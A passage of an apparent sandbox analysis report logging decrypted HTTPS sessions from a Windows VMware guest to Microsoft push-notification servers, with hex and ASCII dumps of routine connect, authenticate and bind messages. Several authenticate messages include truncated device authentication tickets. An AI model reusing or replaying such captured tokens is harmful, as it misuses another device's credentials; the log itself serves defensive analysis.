2024-12-28 09:03:55 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 7a 62 5a 6a 69 73 75 5a 2b 45 4f 46 73 53 67 4a 5a 58 75 51 54 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: zbZjisuZ+EOFsSgJZXuQTQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49834	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:03:57 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 61 72 63 57 38 51 73 51 36 55 47 2f 45 6d 73 34 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 31 32 62 36 32 65 30 65 62 62 30 31 62 66 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: arcW8QsQ6UG/Ems4.1Context: 712b62e0ebb01bf0
2024-12-28 09:03:57 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-28 09:03:57 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 61 72 63 57 38 51 73 51 36 55 47 2f 45 6d 73 34 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 31 32 62 36 32 65 30 65 62 62 30 31 62 66 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: arcW8QsQ6UG/Ems4.2Context: 712b62e0ebb01bf0<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-28 09:03:57 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 61 72 63 57 38 51 73 51 36 55 47 2f 45 6d 73 34 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 31 32 62 36 32 65 30 65 62 62 30 31 62 66 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: arcW8QsQ6UG/Ems4.3Context: 712b62e0ebb01bf0<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-28 09:03:57 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-28 09:03:57 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 71 76 43 6b 6e 51 61 7a 33 45 53 6e 68 36 45 54 59 4e 78 52 64 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: qvCknQaz3ESnh6ETYNxRdg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49960	20.198.119.84	443	3320	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:04:17 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 49 4b 51 63 31 49 7a 50 58 6b 47 32 36 45 4d 70 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 62 38 33 31 31 36 37 31 39 66 61 33 65 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: IKQc1IzPXkG26EMp.1Context: 1b83116719fa3eb
2024-12-28 09:04:17 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-28 09:04:17 UTC	1083	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 30 0d 0a 4d 53 2d 43 56 3a 20 49 4b 51 63 31 49 7a 50 58 6b 47 32 36 45 4d 70 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 62 38 33 31 31 36 37 31 39 66 61 33 65 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 4a Data Ascii: ATH 2 CON\DEVICE 1060MS-CV: IKQc1IzPXkG26EMp.2Context: 1b83116719fa3eb<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TSJ
2024-12-28 09:04:17 UTC	73	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 35 0d 0a 4d 53 2d 43 56 3a 20 49 4b 51 63 31 49 7a 50 58 6b 47 32 36 45 4d 70 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 62 38 33 31 31 36 37 31 39 66 61 33 65 62 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 55MS-CV: IKQc1IzPXkG26EMp.3Context: 1b83116719fa3eb
2024-12-28 09:04:18 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-28 09:04:18 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 47 53 36 50 37 76 6a 76 74 30 4b 6d 6f 4e 74 7a 2f 46 4e 58 75 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: GS6P7vjvt0KmoNtz/FNXuw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49966	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:04:18 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 43 4e 43 36 4d 34 75 32 4d 45 4b 34 5a 36 6c 66 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 38 32 37 38 33 30 66 38 36 63 35 31 65 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: CNC6M4u2MEK4Z6lf.1Context: d5827830f86c51e3
2024-12-28 09:04:18 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-28 09:04:18 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 43 4e 43 36 4d 34 75 32 4d 45 4b 34 5a 36 6c 66 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 38 32 37 38 33 30 66 38 36 63 35 31 65 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: CNC6M4u2MEK4Z6lf.2Context: d5827830f86c51e3<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-28 09:04:18 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 43 4e 43 36 4d 34 75 32 4d 45 4b 34 5a 36 6c 66 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 38 32 37 38 33 30 66 38 36 63 35 31 65 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: CNC6M4u2MEK4Z6lf.3Context: d5827830f86c51e3<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-28 09:04:19 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-28 09:04:19 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 77 66 71 62 72 69 32 38 35 30 65 31 69 79 67 51 34 73 33 6a 62 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: wfqbri2850e1iygQ4s3jbA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	50023	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:04:43 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6d 61 4e 67 31 69 50 50 4a 45 4f 55 4a 6e 56 6a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 37 65 38 30 31 33 37 64 64 66 61 39 31 32 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: maNg1iPPJEOUJnVj.1Context: f7e80137ddfa9124
2024-12-28 09:04:43 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-28 09:04:43 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6d 61 4e 67 31 69 50 50 4a 45 4f 55 4a 6e 56 6a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 37 65 38 30 31 33 37 64 64 66 61 39 31 32 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: maNg1iPPJEOUJnVj.2Context: f7e80137ddfa9124<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-28 09:04:43 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 6d 61 4e 67 31 69 50 50 4a 45 4f 55 4a 6e 56 6a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 37 65 38 30 31 33 37 64 64 66 61 39 31 32 34 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: maNg1iPPJEOUJnVj.3Context: f7e80137ddfa9124
2024-12-28 09:04:43 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-28 09:04:43 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 74 54 6b 33 42 52 39 6c 46 6b 61 54 49 4e 30 45 4a 75 34 6f 4b 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: tTk3BR9lFkaTIN0EJu4oKg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	50027	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:04:44 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 5a 42 7a 57 6b 48 48 6c 47 6b 47 7a 42 59 68 53 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 32 66 35 64 35 32 30 35 36 36 36 61 34 66 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: ZBzWkHHlGkGzBYhS.1Context: 42f5d5205666a4f6
2024-12-28 09:04:44 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-28 09:04:44 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 5a 42 7a 57 6b 48 48 6c 47 6b 47 7a 42 59 68 53 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 32 66 35 64 35 32 30 35 36 36 36 61 34 66 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: ZBzWkHHlGkGzBYhS.2Context: 42f5d5205666a4f6<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-28 09:04:44 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 5a 42 7a 57 6b 48 48 6c 47 6b 47 7a 42 59 68 53 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 32 66 35 64 35 32 30 35 36 36 36 61 34 66 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: ZBzWkHHlGkGzBYhS.3Context: 42f5d5205666a4f6<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-28 09:04:45 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-28 09:04:45 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 59 47 4d 73 77 63 37 5a 52 55 65 36 50 59 73 38 39 74 6a 39 55 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: YGMswc7ZRUe6PYs89tj9Uw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	50085	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:05:10 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 63 4a 7a 41 34 61 56 30 56 45 53 35 48 4d 2b 50 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 66 32 33 32 37 36 31 31 33 32 64 35 63 61 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: cJzA4aV0VES5HM+P.1Context: bf232761132d5ca0
2024-12-28 09:05:10 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
